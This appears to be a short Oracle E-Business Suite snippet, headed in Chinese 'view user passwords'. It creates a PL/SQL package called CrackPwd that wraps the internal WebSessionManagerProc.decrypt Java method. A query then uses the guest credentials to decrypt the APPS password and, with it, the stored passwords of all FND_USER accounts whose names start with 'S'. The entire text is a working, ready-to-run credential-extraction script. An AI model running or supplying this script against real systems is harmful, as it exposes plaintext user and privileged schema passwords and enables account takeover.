查看用户密码

--1、创建程序包
CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER AS           
  FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)           
    RETURN VARCHAR2;     
END CrackPwd;   
       
CREATE OR REPLACE PACKAGE BODY CrackPwd AS     
    FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)     
     RETURN VARCHAR2 AS     
     LANGUAGE JAVA      
     NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';      
END CrackPwd; 

--2、查看用户密码
SELECT USR.USER_NAME,   
       CRACKPWD.GETPWD ((SELECT (SELECT CRACKPWD.GETPWD (FND_WEB_SEC.GET_GUEST_USERNAME_PWD,   
                                                         ENCRYPTED_FOUNDATION_PASSWORD)   
                                   FROM DUAL) AS APPS_PASSWORD   
                           FROM FND_USER   
                          WHERE USER_NAME =   
                                   (SELECT SUBSTR (FND_WEB_SEC.GET_GUEST_USERNAME_PWD,   
                                                   1,   
                                                   INSTR (FND_WEB_SEC.GET_GUEST_USERNAME_PWD, '/') - 1   
                                                  )   
                                      FROM DUAL)),   
                        USR.ENCRYPTED_USER_PASSWORD) PASSWORD   
FROM FND_USER USR   
WHERE USR.USER_NAME like 'S%';